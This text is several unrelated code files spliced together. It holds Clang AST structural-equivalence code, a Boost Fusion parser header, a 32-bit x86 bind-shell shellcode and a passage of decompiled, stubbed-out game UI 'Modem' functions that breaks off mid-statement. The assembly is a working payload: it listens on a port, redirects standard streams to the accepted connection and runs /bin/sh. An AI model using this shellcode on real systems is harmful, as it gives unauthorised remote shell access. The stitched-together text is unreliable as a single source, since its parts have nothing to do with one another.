(Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); const CXXBaseSpecifier *Base1 = D1CXX->bases_begin(); Context.Diag1(Base1->getBeginLoc(), diag::note_odr_base) << Base1->getType() << Base1->getSourceRange(); Context.Diag2(D2->getLocation(), diag::note_odr_missing_base); } return false; } } // Check the fields for consistency. RecordDecl::field_iterator Field2 = D2->field_begin(), Field2End = D2->field_end(); for (RecordDecl::field_iterator Field1 = D1->field_begin(), Field1End = D1->field_end(); Field1 != Field1End; ++Field1, ++Field2) { if (Field2 == Field2End) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag1(Field1->getLocation(), diag::note_odr_field) << Field1->getDeclName() << Field1->getType(); Context.Diag2(D2->getLocation(), diag::note_odr_missing_field); } return false; } if (!IsStructurallyEquivalent(Context, *Field1, *Field2)) return false; } if (Field2 != Field2End) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag2(Field2->getLocation(), diag::note_odr_field) << Field2->getDeclName() << Field2->getType(); Context.Diag1(D1->getLocation(), diag::note_odr_missing_field); } return false; } return true; } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, EnumConstantDecl *D1, EnumConstantDecl *D2) { const llvm::APSInt &FromVal = D1->getInitVal(); const llvm::APSInt &ToVal = D2->getInitVal(); if (FromVal.isSigned() != ToVal.isSigned()) return false; if (FromVal.getBitWidth() != ToVal.getBitWidth()) return false; if (FromVal != ToVal) return false; if (!IsStructurallyEquivalent(D1->getIdentifier(), D2->getIdentifier())) return false; // Init expressions are the most expensive check, so do them last. return IsStructurallyEquivalent(Context, D1->getInitExpr(), D2->getInitExpr()); } /// Determine structural equivalence of two enums. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, EnumDecl *D1, EnumDecl *D2) { // Check for equivalent enum names. IdentifierInfo *Name1 = D1->getIdentifier(); if (!Name1 && D1->getTypedefNameForAnonDecl()) Name1 = D1->getTypedefNameForAnonDecl()->getIdentifier(); IdentifierInfo *Name2 = D2->getIdentifier(); if (!Name2 && D2->getTypedefNameForAnonDecl()) Name2 = D2->getTypedefNameForAnonDecl()->getIdentifier(); if (!IsStructurallyEquivalent(Name1, Name2)) return false; // Compare the definitions of these two enums. If either or both are // incomplete (i.e. forward declared), we assume that they are equivalent. D1 = D1->getDefinition(); D2 = D2->getDefinition(); if (!D1 || !D2) return true; EnumDecl::enumerator_iterator EC2 = D2->enumerator_begin(), EC2End = D2->enumerator_end(); for (EnumDecl::enumerator_iterator EC1 = D1->enumerator_begin(), EC1End = D1->enumerator_end(); EC1 != EC1End; ++EC1, ++EC2) { if (EC2 == EC2End) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag1(EC1->getLocation(), diag::note_odr_enumerator) << EC1->getDeclName() << toString(EC1->getInitVal(), 10); Context.Diag2(D2->getLocation(), diag::note_odr_missing_enumerator); } return false; } llvm::APSInt Val1 = EC1->getInitVal(); llvm::APSInt Val2 = EC2->getInitVal(); if (!llvm::APSInt::isSameValue(Val1, Val2) || !IsStructurallyEquivalent(EC1->getIdentifier(), EC2->getIdentifier())) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag2(EC2->getLocation(), diag::note_odr_enumerator) << EC2->getDeclName() << toString(EC2->getInitVal(), 10); Context.Diag1(EC1->getLocation(), diag::note_odr_enumerator) << EC1->getDeclName() << toString(EC1->getInitVal(), 10); } return false; } } if (EC2 != EC2End) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_tag_type_inconsistent)) << Context.ToCtx.getTypeDeclType(D2); Context.Diag2(EC2->getLocation(), diag::note_odr_enumerator) << EC2->getDeclName() << toString(EC2->getInitVal(), 10); Context.Diag1(D1->getLocation(), diag::note_odr_missing_enumerator); } return false; } return true; } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, TemplateParameterList *Params1, TemplateParameterList *Params2) { if (Params1->size() != Params2->size()) { if (Context.Complain) { Context.Diag2(Params2->getTemplateLoc(), Context.getApplicableDiagnostic( diag::err_odr_different_num_template_parameters)) << Params1->size() << Params2->size(); Context.Diag1(Params1->getTemplateLoc(), diag::note_odr_template_parameter_list); } return false; } for (unsigned I = 0, N = Params1->size(); I != N; ++I) { if (Params1->getParam(I)->getKind() != Params2->getParam(I)->getKind()) { if (Context.Complain) { Context.Diag2(Params2->getParam(I)->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_different_template_parameter_kind)); Context.Diag1(Params1->getParam(I)->getLocation(), diag::note_odr_template_parameter_here); } return false; } if (!IsStructurallyEquivalent(Context, Params1->getParam(I), Params2->getParam(I))) return false; } return true; } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, TemplateTypeParmDecl *D1, TemplateTypeParmDecl *D2) { if (D1->isParameterPack() != D2->isParameterPack()) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_parameter_pack_non_pack)) << D2->isParameterPack(); Context.Diag1(D1->getLocation(), diag::note_odr_parameter_pack_non_pack) << D1->isParameterPack(); } return false; } return true; } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, NonTypeTemplateParmDecl *D1, NonTypeTemplateParmDecl *D2) { if (D1->isParameterPack() != D2->isParameterPack()) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_parameter_pack_non_pack)) << D2->isParameterPack(); Context.Diag1(D1->getLocation(), diag::note_odr_parameter_pack_non_pack) << D1->isParameterPack(); } return false; } // Check types. if (!IsStructurallyEquivalent(Context, D1->getType(), D2->getType())) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_non_type_parameter_type_inconsistent)) << D2->getType() << D1->getType(); Context.Diag1(D1->getLocation(), diag::note_odr_value_here) << D1->getType(); } return false; } return true; } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, TemplateTemplateParmDecl *D1, TemplateTemplateParmDecl *D2) { if (D1->isParameterPack() != D2->isParameterPack()) { if (Context.Complain) { Context.Diag2(D2->getLocation(), Context.getApplicableDiagnostic( diag::err_odr_parameter_pack_non_pack)) << D2->isParameterPack(); Context.Diag1(D1->getLocation(), diag::note_odr_parameter_pack_non_pack) << D1->isParameterPack(); } return false; } // Check template parameter lists. return IsStructurallyEquivalent(Context, D1->getTemplateParameters(), D2->getTemplateParameters()); } static bool IsTemplateDeclCommonStructurallyEquivalent( StructuralEquivalenceContext &Ctx, TemplateDecl *D1, TemplateDecl *D2) { if (!IsStructurallyEquivalent(D1->getIdentifier(), D2->getIdentifier())) return false; if (!D1->getIdentifier()) // Special name if (D1->getNameAsString() != D2->getNameAsString()) return false; return IsStructurallyEquivalent(Ctx, D1->getTemplateParameters(), D2->getTemplateParameters()); } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, ClassTemplateDecl *D1, ClassTemplateDecl *D2) { // Check template parameters. if (!IsTemplateDeclCommonStructurallyEquivalent(Context, D1, D2)) return false; // Check the templated declaration. return IsStructurallyEquivalent(Context, D1->getTemplatedDecl(), D2->getTemplatedDecl()); } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, FunctionTemplateDecl *D1, FunctionTemplateDecl *D2) { // Check template parameters. if (!IsTemplateDeclCommonStructurallyEquivalent(Context, D1, D2)) return false; // Check the templated declaration. return IsStructurallyEquivalent(Context, D1->getTemplatedDecl()->getType(), D2->getTemplatedDecl()->getType()); } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, ConceptDecl *D1, ConceptDecl *D2) { // Check template parameters. if (!IsTemplateDeclCommonStructurallyEquivalent(Context, D1, D2)) return false; // Check the constraint expression. return IsStructurallyEquivalent(Context, D1->getConstraintExpr(), D2->getConstraintExpr()); } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, FriendDecl *D1, FriendDecl *D2) { if ((D1->getFriendType() && D2->getFriendDecl()) || (D1->getFriendDecl() && D2->getFriendType())) { return false; } if (D1->getFriendType() && D2->getFriendType()) return IsStructurallyEquivalent(Context, D1->getFriendType()->getType(), D2->getFriendType()->getType()); if (D1->getFriendDecl() && D2->getFriendDecl()) return IsStructurallyEquivalent(Context, D1->getFriendDecl(), D2->getFriendDecl()); return false; } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, TypedefNameDecl *D1, TypedefNameDecl *D2) { if (!IsStructurallyEquivalent(D1->getIdentifier(), D2->getIdentifier())) return false; return IsStructurallyEquivalent(Context, D1->getUnderlyingType(), D2->getUnderlyingType()); } static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, FunctionDecl *D1, FunctionDecl *D2) { if (!IsStructurallyEquivalent(D1->getIdentifier(), D2->getIdentifier())) return false; if (D1->isOverloadedOperator()) { if (!D2->isOverloadedOperator()) return false; if (D1->getOverloadedOperator() != D2->getOverloadedOperator()) return false; } // FIXME: Consider checking for function attributes as well. if (!IsStructurallyEquivalent(Context, D1->getType(), D2->getType())) return false; return true; } /// Determine structural equivalence of two declarations. static bool IsStructurallyEquivalent(StructuralEquivalenceContext &Context, Decl *D1, Decl *D2) { // FIXME: Check for known structural equivalences via a callback of some sort. D1 = D1->getCanonicalDecl(); D2 = D2->getCanonicalDecl(); std::pair<Decl *, Decl *> P{D1, D2}; // Check whether we already know that these two declarations are not // structurally equivalent. if (Context.NonEquivalentDecls.count(P)) return false; // Check if a check for these declarations is already pending. // If yes D1 and D2 will be checked later (from DeclsToCheck), // or these are already checked (and equivalent). bool Inserted = Context.VisitedDecls.insert(P).second; if (!Inserted) return true; Context.DeclsToCheck.push(P); return true; } DiagnosticBuilder StructuralEquivalenceContext::Diag1(SourceLocation Loc, unsigned DiagID) { assert(Complain && "Not allowed to complain"); if (LastDiagFromC2) FromCtx.getDiagnostics().notePriorDiagnosticFrom(ToCtx.getDiagnostics()); LastDiagFromC2 = false; return FromCtx.getDiagnostics().Report(Loc, DiagID); } DiagnosticBuilder StructuralEquivalenceContext::Diag2(SourceLocation Loc, unsigned DiagID) { assert(Complain && "Not allowed to complain"); if (!LastDiagFromC2) ToCtx.getDiagnostics().notePriorDiagnosticFrom(FromCtx.getDiagnostics()); LastDiagFromC2 = true; return ToCtx.getDiagnostics().Report(Loc, DiagID); } Optional<unsigned> StructuralEquivalenceContext::findUntaggedStructOrUnionIndex(RecordDecl *Anon) { ASTContext &Context = Anon->getASTContext(); QualType AnonTy = Context.getRecordType(Anon); const auto *Owner = dyn_cast<RecordDecl>(Anon->getDeclContext()); if (!Owner) return None; unsigned Index = 0; for (const auto *D : Owner->noload_decls()) { const auto *F = dyn_cast<FieldDecl>(D); if (!F) continue; if (F->isAnonymousStructOrUnion()) { if (Context.hasSameType(F->getType(), AnonTy)) break; ++Index; continue; } // If the field looks like this: // struct { ... } A; QualType FieldType = F->getType(); // In case of nested structs. while (const auto *ElabType = dyn_cast<ElaboratedType>(FieldType)) FieldType = ElabType->getNamedType(); if (const auto *RecType = dyn_cast<RecordType>(FieldType)) { const RecordDecl *RecDecl = RecType->getDecl(); if (RecDecl->getDeclContext() == Owner && !RecDecl->getIdentifier()) { if (Context.hasSameType(FieldType, AnonTy)) break; ++Index; continue; } } } return Index; } unsigned StructuralEquivalenceContext::getApplicableDiagnostic( unsigned ErrorDiagnostic) { if (ErrorOnTagTypeMismatch) return ErrorDiagnostic; switch (ErrorDiagnostic) { case diag::err_odr_variable_type_inconsistent: return diag::warn_odr_variable_type_inconsistent; case diag::err_odr_variable_multiple_def: return diag::warn_odr_variable_multiple_def; case diag::err_odr_function_type_inconsistent: return diag::warn_odr_function_type_inconsistent; case diag::err_odr_tag_type_inconsistent: return diag::warn_odr_tag_type_inconsistent; case diag::err_odr_field_type_inconsistent: return diag::warn_odr_field_type_inconsistent; case diag::err_odr_ivar_type_inconsistent: return diag::warn_odr_ivar_type_inconsistent; case diag::err_odr_objc_superclass_inconsistent: return diag::warn_odr_objc_superclass_inconsistent; case diag::err_odr_objc_method_result_type_inconsistent: return diag::warn_odr_objc_method_result_type_inconsistent; case diag::err_odr_objc_method_num_params_inconsistent: return diag::warn_odr_objc_method_num_params_inconsistent; case diag::err_odr_objc_method_param_type_inconsistent: return diag::warn_odr_objc_method_param_type_inconsistent; case diag::err_odr_objc_method_variadic_inconsistent: return diag::warn_odr_objc_method_variadic_inconsistent; case diag::err_odr_objc_property_type_inconsistent: return diag::warn_odr_objc_property_type_inconsistent; case diag::err_odr_objc_property_impl_kind_inconsistent: return diag::warn_odr_objc_property_impl_kind_inconsistent; case diag::err_odr_objc_synthesize_ivar_inconsistent: return diag::warn_odr_objc_synthesize_ivar_inconsistent; case diag::err_odr_different_num_template_parameters: return diag::warn_odr_different_num_template_parameters; case diag::err_odr_different_template_parameter_kind: return diag::warn_odr_different_template_parameter_kind; case diag::err_odr_parameter_pack_non_pack: return diag::warn_odr_parameter_pack_non_pack; case diag::err_odr_non_type_parameter_type_inconsistent: return diag::warn_odr_non_type_parameter_type_inconsistent; } llvm_unreachable("Diagnostic kind not handled in preceding switch"); } bool StructuralEquivalenceContext::IsEquivalent(Decl *D1, Decl *D2) { // Ensure that the implementation functions (all static functions in this TU) // never call the public ASTStructuralEquivalence::IsEquivalent() functions, // because that will wreak havoc the internal state (DeclsToCheck and // VisitedDecls members) and can cause faulty behaviour. // In other words: Do not start a graph search from a new node with the // internal data of another search in progress. // FIXME: Better encapsulation and separation of internal and public // functionality. assert(DeclsToCheck.empty()); assert(VisitedDecls.empty()); if (!::IsStructurallyEquivalent(*this, D1, D2)) return false; return !Finish(); } bool StructuralEquivalenceContext::IsEquivalent(QualType T1, QualType T2) { assert(DeclsToCheck.empty()); assert(VisitedDecls.empty()); if (!::IsStructurallyEquivalent(*this, T1, T2)) return false; return !Finish(); } bool StructuralEquivalenceContext::IsEquivalent(Stmt *S1, Stmt *S2) { assert(DeclsToCheck.empty()); assert(VisitedDecls.empty()); if (!::IsStructurallyEquivalent(*this, S1, S2)) return false; return !Finish(); } bool StructuralEquivalenceContext::CheckCommonEquivalence(Decl *D1, Decl *D2) { // Check for equivalent described template. TemplateDecl *Template1 = D1->getDescribedTemplate(); TemplateDecl *Template2 = D2->getDescribedTemplate(); if ((Template1 != nullptr) != (Template2 != nullptr)) return false; if (Template1 && !IsStructurallyEquivalent(*this, Template1, Template2)) return false; // FIXME: Move check for identifier names into this function. return true; } bool StructuralEquivalenceContext::CheckKindSpecificEquivalence( Decl *D1, Decl *D2) { // Kind mismatch. if (D1->getKind() != D2->getKind()) return false; // Cast the Decls to their actual subclass so that the right overload of // IsStructurallyEquivalent is called. switch (D1->getKind()) { #define ABSTRACT_DECL(DECL) #define DECL(DERIVED, BASE) \ case Decl::Kind::DERIVED: \ return ::IsStructurallyEquivalent(*this, static_cast<DERIVED##Decl *>(D1), \ static_cast<DERIVED##Decl *>(D2)); #include "clang/AST/DeclNodes.inc" } return true; } bool StructuralEquivalenceContext::Finish() { while (!DeclsToCheck.empty()) { // Check the next declaration. std::pair<Decl *, Decl *> P = DeclsToCheck.front(); DeclsToCheck.pop(); Decl *D1 = P.first; Decl *D2 = P.second; bool Equivalent = CheckCommonEquivalence(D1, D2) && CheckKindSpecificEquivalence(D1, D2); if (!Equivalent) { // Note that these two declarations are not equivalent (and we already // know about it). NonEquivalentDecls.insert(P); return true; } } return false; }
#include <string> #include <boost/fusion/adapted/struct/adapt_struct.hpp> #include <boost/optional/optional.hpp> #include <boost/variant/variant.hpp> namespace blackhole { inline namespace v1 { namespace formatter { namespace string { /// Represents parser grammar result. /// Given: `{...:{{name}={value}:p}{, :s}>50s}`. /// Spec: `>50s`. /// Extension: /// Pattern: `{name}={value}`. /// Separator: `, `. struct grammar_result_t { struct extension_t { boost::optional<std::string> pattern; boost::optional<std::string> separator; }; extension_t extension; std::string spec; auto pattern() const -> boost::optional<std::string> { return extension.pattern; } auto separator() const -> boost::optional<std::string> { return extension.separator; } }; struct optional_result_t { struct extension_t { boost::optional<boost::variant<double, std::string>> otherwise; }; extension_t extension; std::string spec; }; auto parse(std::string pattern) -> grammar_result_t; auto parse_pattern(std::string pattern) -> std::vector<ph::leftover_t::token_t>; } // namespace string } // namespace formatter } // namespace v1 } // namespace blackhole #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wdisabled-macro-expansion" typedef boost::optional<boost::variant<double, std::string>> adapt1_type; BOOST_FUSION_ADAPT_STRUCT(blackhole::formatter::string::optional_result_t::extension_t, (adapt1_type, otherwise) ) BOOST_FUSION_ADAPT_STRUCT(blackhole::formatter::string::optional_result_t, (blackhole::formatter::string::optional_result_t::extension_t, extension) (std::string, spec) ) BOOST_FUSION_ADAPT_STRUCT(blackhole::formatter::string::grammar_result_t::extension_t, (boost::optional<std::string>, pattern) (boost::optional<std::string>, separator) ) BOOST_FUSION_ADAPT_STRUCT(blackhole::formatter::string::grammar_result_t, (blackhole::formatter::string::grammar_result_t::extension_t, extension) (std::string, spec) ) #pragma clang diagnostic pop
; creating /bin/sh ; IA32 assembly global _start section .text _start: ; First we need to create socket. When we look at System Call numbers from linux header, number 102 is number for socketcall. ;socketcall handles socket, bind, listen, accept ;root@kali:~# cat /usr/include/linux/net.h tells ;SYS_SOCKET 1 ;SYS_BIND 2 ;SYS_CONNECT 3 ;SYS_LISTEN 4 ;SYS_ACCEPT 5 ;socketcall takes 2 arguments xor eax, eax ; Generate Zeros. Clean System Call register xor ebx, ebx ; cdq ;cleans edx, one byte smaller comparing to xor edx, edx ;According to our C-code, we need only three ingeter parameters. ;s = socket(2,1,0) We need to push them in reverse order push eax ;Zero push 0x01 ; One push 0x02 ; Two mov ecx, esp ; Stackpointer to ecx, as second argument mov bl, 0x1 ; first argument (Number for Socket) mov al, 102 ; socketcall to AL int 0x80 ; CREATE SOCKET mov esi,eax ;return value to esi register ;Next we should bind ;bind(s, (struct sockaddr*)&serv_addr, 0x10); ;struct sockaddr_in { ; sa_family_t sin_family; /* address family: AF_INET */ ; in_port_t sin_port; /* port in network byte order */ ; struct in_addr sin_addr; /* internet address */ ; }; push edx ; sin_addr push WORD 0x3930 ; sin_port push WORD 0x2 ; sin_family mov ecx, esp ; ecx containst struct push 0x10 ; length push ecx ;contains &serv_addr push esi ; file descriptor of socket mov ecx, esp ;stack to second argument mov bl, 0x2 ; first argument (Number for bind) mov al, 102 ; socketcall handles socket, bind, listen, accept int 0x80 ;BIND push edx; Zero means, only one connection accepted, no queue push esi mov ecx, esp mov bl, 0x4 mov al, 102 ; socketcall handles socket, bind, listen, accept int 0x80 ;LISTEN push edx push edx push esi mov ecx, esp mov bl, 0x5 mov al, 102 ; socketcall handles socket, bind, listen, accept int 0x80; ACCEPT mov ebx, eax ;Accepted connection file descriptor stored to first argument xor ecx, ecx; clean register mov cl, 3 loop: ;dup2 loop dec cl ; decrease second parameter, READ=0, WRITE=1, ERR=2 mov al, 63; according to linux32 header, systemcall number for dup2 is 83 int 0x80 ; PIPE jnz loop xor eax, eax push eax push 0x68732f6e ; push 0x69622f2f ; //bin/sh to stack mov ebx, esp ; Make EBX point to //bin/sh on the Stack using ESP ; PUSH 0x00000000 using EAX and point EDX to it using ESP push eax mov edx, esp ; PUSH Address of //bin/sh on the Stack and make ECX point to it using ESP push ebx mov ecx, esp ; EAX = 0, Let's move 11 into AL to avoid nulls in the Shellcode mov al, 0xB int 0x80
// ref: 0x1000855D int Modem_1000855D() { return 0; } /* { return dword_1002A124; } */ // 1002A124: using guessed type int dword_1002A124; // ref: 0x10008563 HWND __fastcall Modem_10008563(HWND hDlg, const char *a2, int a3) { return 0; } /* { HWND v3; // esi const char *v4; // ebp HWND result; // eax v3 = hDlg; v4 = a2; result = GetDlgItem(hDlg, 1108); if ( result ) { result = (HWND)GetWindowLongA(result, -21); if ( result ) { local_10007FA4((int)result, (const char *)a3); Doom_10006A13(v3, (int *)&unk_10022C5C, 1); result = GetDlgItem(v3, 1080); if ( result ) { result = (HWND)GetWindowLongA(result, -21); if ( result ) { local_10007FA4((int)result, v4); result = (HWND)Doom_10006A13(v3, (int *)&unk_10022C54, 3); } } } } return result; } */ // ref: 0x100085D8 int __stdcall Modem_100085D8(int a1, char *a2, char *a3) { return 0; } /* { dword_1002A150 = a1; strcpy(&byte_1002A154, a2); strcpy(&byte_1002A1D4, a3); return 1; } */ // 1002A150: using guessed type int dword_1002A150; // ref: 0x10008606 BOOL Modem_10008606() { return 0; } /* { BOOL result; // eax dword_1002A150 = 0; byte_1002A154 = 0; byte_1002A1D4 = 0; if ( SNetEnumGames(0, 0, Modem_100085D8, 0) ) result = dword_1002A150 != 0; else result = 0; return result; } */ // 10010436: using guessed type int __stdcall SNetEnumGames(_DWORD, _DWORD, _DWORD, _DWORD); // 1002A150: using guessed type int dword_1002A150; // ref: 0x1000863D char *Modem_1000863D() { return 0; } /* { return &byte_1002A154; } */ // ref: 0x10008648 signed int Modem_10008648() { return 0; } /* { signed int result; // eax result = 2139095040; dword_1002A128 = 2139095040; return result; } */ // 1002A128: using guessed type int dword_1002A128; // ref: 0x10008653 int Modem_10008653() { return 0; } /* { return dword_1002A148; } */ // 1002A148: using guessed type int dword_1002A148; // ref: 0x10008659 int Modem_10008659() { return 0; } /* { return dword_1002A134; } */ // 1002A134: using guessed type int dword_1002A134; // ref: 0x1000865F int UNKCALL Modem_1000865F(char *arg) { return 0; } /* { char v1; // al int result; // eax while ( 1 ) { v1 = *arg; if ( !*arg || (unsigned char)v1 >= 0x30u && (unsigned char)v1 <= 0x39u ) break; ++arg; } if ( *arg ) result = atoi(arg); else result = 0; return result; } */ // ref: 0x10008680 BOOL __fastcall Modem_10008680(int a1, int a2, int a3, _DWORD *a4, int a5, int a6) { return 0; } /* { int v6; // esi dword_1002A13C = a3; dword_1002A138 = a2; dword_1002A144 = a5; dword_1002A14C = a4; dword_1002A140 = a6; artfont_10001159(); v6 = SDlgDialogBoxParam(hInstance, "MODEM_DIALOG", a4[2], Modem_100086DE, 0); artfont_100010C8(); return v6 == 1; } */ // 10010370: using guessed type int __stdcall SDlgDialogBoxParam(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 1002A138: using guessed type int dword_1002A138; // 1002A13C: using guessed type int dword_1002A13C; // 1002A140: using guessed type int dword_1002A140; // 1002A144: using guessed type int dword_1002A144; // ref: 0x100086DE int __stdcall Modem_100086DE(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam) { return 0; } /* { HWND v4; // eax int v6; // [esp+0h] [ebp-8h] if ( Msg > 0x7E8 ) { switch ( Msg ) { case 0xBD0u: Modem_100088DB(hWnd); return 0; case 0xBD1u: Modem_10008BB7(hWnd); return 0; case 0xBD2u: Modem_10008BFE(hWnd); return 0; } return SDlgDefDialogProc(hWnd, Msg, wParam, lParam); } if ( Msg == 2024 ) { if ( !Fade_1000739F() ) Fade_100073FD(hWnd, v6); return 0; } if ( Msg == 2 ) { Modem_1000879E(hWnd); return SDlgDefDialogProc(hWnd, Msg, wParam, lParam); } if ( Msg <= 0x103 ) return SDlgDefDialogProc(hWnd, Msg, wParam, lParam); if ( Msg <= 0x105 ) { v4 = (HWND)SDrawGetFrameWindow(); SendMessageA(v4, Msg, wParam, lParam); return SDlgDefDialogProc(hWnd, Msg, wParam, lParam); } if ( Msg != 272 ) return SDlgDefDialogProc(hWnd, Msg, wParam, lParam); Modem_100087DB(hWnd); PostMessageA(hWnd, 0x7E8u, 0, 0); return 0; } */ // 1001037C: using guessed type int __stdcall SDlgDefDialogProc(_DWORD, _DWORD, _DWORD, _DWORD); // 10010382: using guessed type _DWORD __stdcall SDrawGetFrameWindow(); // ref: 0x1000879E void **UNKCALL Modem_1000879E(HWND hDlg) { return 0; } /* { HWND v1; // esi _DWORD *v2; // eax v1 = hDlg; Doom_10006C53(hDlg, (int *)&unk_10022C5C); Doom_10006C53(v1, (int *)&unk_10022C54); Doom_10006C53(v1, (int *)&unk_10022C4C); v2 = (_DWORD *)GetWindowLongA(v1, -21); local_10007F72(v2); return Title_100100E7(v1); } */ // ref: 0x100087DB BOOL UNKCALL Modem_100087DB(HWND hWnd) { return 0; } /* { HWND v1; // esi int v2; // eax int *v3; // edi HWND v5; // [esp+0h] [ebp-10h] v1 = hWnd; Title_1001009E(hWnd, (int)"ui_art\\smlogo.pcx", v5); v2 = local_10007F46(); v3 = (int *)v2; if ( v2 ) { SetWindowLongA(v1, -21, v2); local_10007944((int)v1, 0, &byte_10029448, -1, 1, (int)"ui_art\\selgame.pcx", v3, v3 + 1, 0); Fade_100073C5(v1, 1); } Doom_100068AB(v1, (int *)&unk_10022C4C, 5); Doom_100068AB(v1, (int *)&unk_10022C54, 3); Doom_100068AB(v1, (int *)&unk_10022C5C, 1); Modem_10008888(); if ( dword_1002A124 ) return PostMessageA(v1, 0xBD2u, 0, 0); dword_1002A134 = 1; dword_1002A130 = 1; return PostMessageA(v1, 0xBD0u, 0, 0); } */ // 1002A124: using guessed type int dword_1002A124; // 1002A130: using guessed type int dword_1002A130; // 1002A134: using guessed type int dword_1002A134; // ref: 0x10008888 int Modem_10008888() { return 0; } /* { int result; // eax dword_1002A150 = 0; byte_1002A154 = 0; byte_1002A1D4 = 0; result = SNetEnumGames(0, 0, Modem_100085D8, 0); if ( result ) { dword_1002A124 = 1; } else { result = SErrGetLastError(); if ( result == 1222 ) { dword_1002A124 = 0; result = 1; dword_1002A134 = 1; dword_1002A130 = 1; } } return result; } */ // 10010406: using guessed type _DWORD __stdcall SErrGetLastError(); // 10010436: using guessed type int __stdcall SNetEnumGames(_DWORD, _DWORD, _DWORD, _DWORD); // 1002A124: using guessed type int dword_1002A124; // 1002A130: using guessed type int dword_1002A130; // 1002A134: using guessed type int dword_1002A134; // 1002A150: using guessed type int dword_1002A150; // ref: 0x100088DB int UNKCALL Modem_100088DB(HWND hWnd) { return 0; } /* { HWND v1; // esi int v2; // eax int v3; // eax int v5; // [esp+4h] [ebp-20h] v1 = hWnd; v2 = SDlgDialogBoxParam(hInstance, "SELDIAL_DIALOG", hWnd, SelDial_1000B0CF, &v5) - 3; if ( !v2 ) return Modem_1000893D(v1); v3 = v2 - 1; if ( !v3 ) return Modem_10008A38(v1, (int)&v5); if ( v3 == 1 ) return PostMessageA(v1, 0xBD1u, 0, 0); return SelHero_1000C3E2((int)v1, 2); } */ // 10010370: using guessed type int __stdcall SDlgDialogBoxParam(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // ref: 0x1000893D int UNKCALL Modem_1000893D(HWND hWnd) { return 0; } /* { HWND v1; // esi int v2; // eax int result; // eax CHAR v4; // [esp+8h] [ebp-C0h] int v5; // [esp+48h] [ebp-80h] HWND v6; // [esp+50h] [ebp-78h] CHAR Buffer; // [esp+98h] [ebp-30h] int v8; // [esp+B8h] [ebp-10h] int v9; // [esp+BCh] [ebp-Ch] int v10; // [esp+C0h] [ebp-8h] int v11; // [esp+C4h] [ebp-4h] v1 = hWnd; memcpy(&v5, dword_1002A14C, 0x50u); v5 = 80; v6 = v1; memset(&v8, 0, 0x10u); v8 = 16; v9 = 1297040461; v2 = *(_DWORD *)(dword_1002A138 + 24); v11 = 0; v10 = v2; LoadStringA(hInstance, 0x47u, &Buffer, 31); wsprintfA(&v4, &Buffer, dword_1002A130); if ( CreaDung_100051D8( (int)&v8, dword_1002A138, dword_1002A13C, (int)&v5, dword_1002A144, dword_1002A140, 1, (int)&v4) ) { ++dword_1002A130; result = SelHero_1000C3E2((int)v1, 1); } else if ( dword_1002A124 ) { if ( SErrGetLastError() == 183 ) ++dword_1002A130; result = PostMessageA(v1, 0xBD2u, 0, 0); } else { result = PostMessageA(v1, 0xBD0u, 0, 0); } return result; } */ // 10010406: using guessed type _DWORD __stdcall SErrGetLastError(); // 1002A124: using guessed type int dword_1002A124; // 1002A130: using guessed type int dword_1002A130; // 1002A138: using guessed type int dword_1002A138; // 1002A13C: using guessed type int dword_1002A13C; // 1002A140: using guessed type int dword_1002A140; // 1002A144: using guessed type int dword_1002A144; // ref: 0x10008A38 int __fastcall Modem_10008A38(HWND hWnd, int a2) { return 0; } /* { char *v2; // ebx HWND v3; // edi int v4; // eax int result; // eax CHAR Buffer; // [esp+Ch] [ebp-80h] v2 = (char *)a2; v3 = hWnd; dword_1002A148 = 0; _beginthread((int)Modem_10008B42, 0, a2); ModmStat_10008C87(v3); if ( !dword_1002A120 ) { switch ( dword_1002A12C ) { case -2062548871: LoadStringA(hInstance, 0x32u, &Buffer, 127); break; case 54: LoadStringA(hInstance, 0x42u, &Buffer, 127); break; case 1204: LoadStringA(hInstance, 0x4Cu, &Buffer, 127); break; case 1222: LoadStringA(hInstance, 0x41u, &Buffer, 127); break; case 1223: goto LABEL_18; case 2250: LoadStringA(hInstance, 0x40u, &Buffer, 127); break; default: LoadStringA(hInstance, 0x33u, &Buffer, 127); break; } SelYesNo_1000FD39((int)v3, &Buffer, 0, 1); LABEL_18: if ( dword_1002A124 ) result = PostMessageA(v3, 0xBD2u, 0, 0); else result = PostMessageA(v3, 0xBD0u, 0, 0); return result; } if ( !dword_1002A124 ) { SelDial_1000B011(v2); Modem_10008606(); } v4 = Modem_1000865F(&byte_1002A154); dword_1002A134 = v4; dword_1002A130 = v4 + 1; return 